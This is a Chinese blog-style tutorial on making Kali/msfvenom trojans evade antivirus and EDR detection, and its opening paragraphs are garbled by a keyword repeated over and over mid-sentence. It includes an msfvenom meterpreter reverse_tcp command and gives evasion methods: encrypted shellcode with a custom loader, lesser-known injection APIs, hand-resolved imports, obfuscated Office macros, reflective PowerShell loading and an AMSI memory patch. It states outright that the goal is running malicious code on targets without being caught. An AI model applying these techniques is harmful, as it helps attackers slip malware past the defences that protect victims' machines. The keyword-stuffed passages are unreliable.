kali木马免杀

杀软报毒的木马免杀声音像一记耳光。你刚用 msfvenom 生成的木马免杀 payload，传到目标机器上还没点两下，木马免杀Windows Defender 就弹窗了——Trojan:Win32/Wacatac.B!ml。木马免杀这不是木马免杀你第一次遇到，也不会是木马免杀最后一次。

免杀的木马免杀本质是让恶意代码在目标系统上执行而不被安全软件拦截。Kali 自带的木马免杀工具链很顺手，但默认生成的木马免杀 payload 特征太明显。杀软厂商早把这些哈希值、木马免杀字符串、木马免杀行为模式拉进了黑名单。木马免杀你要做的木马免杀，是木马免杀让 payload 变得“不像自己”。

编码器不是木马免杀万能药

msfvenom -p windows/meterpreter/reverse_tcp LHOST=... -e x86/shikata_ga_nai -i 10——很多人以为多编码几次就免杀了。实际上 shikata_ga_nai 的解码器 stub 本身就是静态特征。我试过编码 20 次，VT 上依然有 40 多家引擎报毒。编码器只能混淆部分字节，对抗基于签名的检测已经力不从心。

更麻烦的是行为检测。即便你绕过了静态扫描，payload 在内存里解密、反射加载、回连 C2 的整套动作，EDR 看得一清二楚。

换个壳，或者换个写法

Shellcode 加密 + 自写加载器是目前比较稳的路子。用 AES 加密原始 shellcode，然后写一个 C 或 C++ 的 loader，在运行时解密到内存并执行。关键是 loader 本身要干净——不要用 VirtualAlloc + CreateThread 这种烂大街的组合。换成 VirtualAllocEx 配合 QueueUserAPC，或者直接走 NtCreateSection + NtMapViewOfSection 的路径。杀软对 ntdll 未文档化 API 的监控相对宽松。

我试过一个案例：把 shellcode 拆成三段，每段用不同的 XOR key 加密，loader 里手动解析 PE 导出表获取 API 地址，完全不用 GetProcAddress 的明文字符串。编译出来的 exe 在 VT 上只有 3 家报毒，其中两家还是因为文件太小触发了启发式评分。

别忘了宏和脚本

Office 宏的免杀是另一个战场。VBA 代码里不要出现 Shell、CreateObject("WScript.Shell") 这种关键词。用 GetObject("new:...") 的 CLSID 方式调用 COM 对象，或者把 payload 藏在 UserForm 的某个属性里。杀软对宏的检测主要看字符串和 API 调用链，拆开揉碎就能过。

PowerShell 同理。别用 -EncodedCommand，那玩意儿现在等于自首。用 [System.Reflection.Assembly]::Load() 加载 .NET 程序集，或者干脆走 Add-Type 编译 C# 源码。脚本块日志和 AMSI 是两道坎，AMSI bypass 的补丁在 Kali 里也有现成的，比如 amsi.dll 的内存补丁脚本。

测试，测试，再测试

本地杀软过了不代表线上能过。VT 全绿也不代表 EDR 不拦。我习惯在虚拟机里装三套环境：一套裸 Windows Defender，一套卡巴斯基免费版，一套 Symantec Endpoint Protection。每个 payload 至少跑三遍，观察进程树、网络连接和内存特征。

有一次我生成的 payload 在 Defender 上静默执行，但在卡巴斯基上触发了“PDM:Exploit.Win32.Generic”。原因是 loader 里用了 CreateRemoteThread 注入自身——卡巴斯基的行为引擎对跨进程线程创建极其敏感。换成 RtlCreateUserThread 后问题消失。

免杀没有银弹。今天能过的 payload，明天可能就被拉黑。保持更新，保持怀疑，保持手动调试的习惯。Kali 只是起点，真正的功夫在编译器和调试器里。